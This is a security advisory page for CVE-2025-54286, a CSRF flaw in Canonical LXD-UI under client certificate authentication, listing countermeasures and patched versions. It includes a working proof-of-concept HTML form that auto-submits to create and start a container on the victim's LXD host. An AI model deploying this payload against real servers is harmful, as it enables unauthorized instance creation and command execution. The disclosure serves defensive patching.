CVE-2025-54286: CSRF Vulnerability When Using Client Certificate Authentication with the LXD-UI

Published Oct 2, 2025
·
Updated

Description OIDC authentication uses cookies with the SameSite=Strict attribute, preventing cookies from being sent with requests from other sites. Therefore, CSRF does not occur as long as web services in a Same Site relationship (same eTLD+1) with the origin running LXD-UI are trusted.

However, since the SameSite concept does not apply to client certificates, CSRF protection that doesn't rely on the SameSite attribute is necessary.

Note that when using cross-origin fetch API, client certificates are not sent in no-cors mode due to CORS restrictions (according to the WHATWG Fetch specification(https://fetch.spec.whatwg.org/#credentials), client certificates are treated as credentials), making cross-site attacks using fetch API difficult unless CORS settings are vulnerable. However, since LXD's API parses request bodies as JSON even when Content-Type is text/plain or application/x-www-form-urlencoded, CSRF attacks exploiting HTML form submissions are possible.

Reproduction Steps 1. Prepare a malicious website controlled by the attacker 2. Deploy the following HTML form to implement an attack that automatically creates instances when victims visit:

This exploit code automatically sends a JSON string as text/plain to create an instance when rendered.

Note that for this PoC to work, the specified profile (default) must have a Default instance storage pool configured. This is typically set in the default profile of projects created after storage pool creation.

html <html> <body> <form enctype="text/plain" method="POST" action="https://lxd-host:8443/1.0/instances?project=default&target=" id="form"> <input type="hidden" name='{"' id="input"> <input type="submit"> </form> <script> const i = document.getElementById('input'); i.value = ":123,"name":"poc","type":"container","profiles":["default"], "source":{"alias":"24.04","mode":"pull","protocol":"simplestreams","server":"https://cloud-images.ubuntu.com/releases","type":"image"},"devices":{},"config":{},"start":true}; document.getElementById('form').submit(); </script> </body> </html>

3. Log in to LXD-UI with a user having permissions to create instances in the project (default) specified in step 2 4. Access the URL of the HTML file prepared in step 2 and confirm that an instance is created and started

Risk The attack conditions require that the victim is already connected to LXD using client certificate authentication and that the attacker can lead the victim to a controlled website.

Possible actions through the attack include, depending on the victim's permissions, creating and starting arbitrary instances, and executing arbitrary commands inside containers using cloud-init.

Countermeasures The most effective countermeasure is to strictly enforce Content-Type validation at API endpoints. Specifically, change the implementation to reject requests when Content-Type is not application/json. With this countermeasure, attackers cannot send proper JSON requests using Simple Requests (HTML form submissions) and must use fetch API with CORS. However, as long as proper CORS settings are implemented, client certificates are not sent with cross-origin fetch API requests, preventing the attack.

Additionally, implementing CSRF tokens or validating Origin/Referer headers could be considered as countermeasures, but these would create compatibility issues with the LXD command, which is another API client.

Patches

| LXD Series | Status | | ------------- | ------------- | | 6 | Fixed in LXD 6.5 | | 5.21 | Fixed in LXD 5.21.4 | | 5.0 | Fixed in LXD 5.0.5 | | 4.0 | Ignored - No web UI |

References Reported by GMO Flatt Security Inc.

Other sources

Cross-Site Request Forgery (CSRF) in LXD-UI in Canonical LXD versions >= 5.0 on Linux allows an attacker to create and start container instances without user consent via crafted HTML form submissions exploiting client certificate authentication.

MITRE

Affected Software

9 affected componentsFixes available
Canonical LXD>=5.0
go/github.com/canonical/lxd>=0.0.0-20220401034332-1e1349e3cbf3<0.0.0-20250827065555-0494f5d47e41
0.0.0-20250827065555-0494f5d47e41
go/github.com/canonical/lxd>=6.0<6.5
6.5
go/github.com/canonical/lxd>=5.1<5.21.4
5.21.4
go/github.com/canonical/lxd>=5.0<5.0.5
5.0.5
All of the following
Any of the following
Canonical LXD>=5.0.0<5.0.5
Canonical LXD>=5.21.0<5.21.4
Canonical LXD>=6.1<6.5
Linux Linux kernel

Event History

Oct 2, 2025
CVE Published
via MITRE·09:12 AM
Data Sourced
via MITRE·09:12 AM
DescriptionWeakness
Data Sourced
via NVD·10:15 AM
DescriptionSeverityWeakness
Data Sourced
via NVD·10:15 AM
Affected Software
Advisory Published
via GitHub·09:23 PM
Data Sourced
via GitHub·09:23 PM
DescriptionSeverityWeaknessAffected Software
Free Weekly Intel

Don't miss critical vulnerabilities

Join thousands of security professionals who receive our weekly digest of trending CVEs, zero-days, and exploited vulnerabilities.

No spam. Unsubscribe anytime.

Frequently Asked Questions

1

What is the severity of CVE-2025-54286?

CVE-2025-54286 is considered a high severity vulnerability due to its potential for unauthorized container manipulation.

2

How do I fix CVE-2025-54286?

To fix CVE-2025-54286, upgrade to a patched version of Canonical LXD that addresses the vulnerability.

3

What version of Canonical LXD is affected by CVE-2025-54286?

CVE-2025-54286 affects Canonical LXD versions 5.0 and above.

4

What attack vector is used in CVE-2025-54286?

CVE-2025-54286 exploits Cross-Site Request Forgery (CSRF) through crafted HTML form submissions.

5

What can an attacker do with CVE-2025-54286?

An attacker can create and start container instances without user consent by exploiting CVE-2025-54286.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203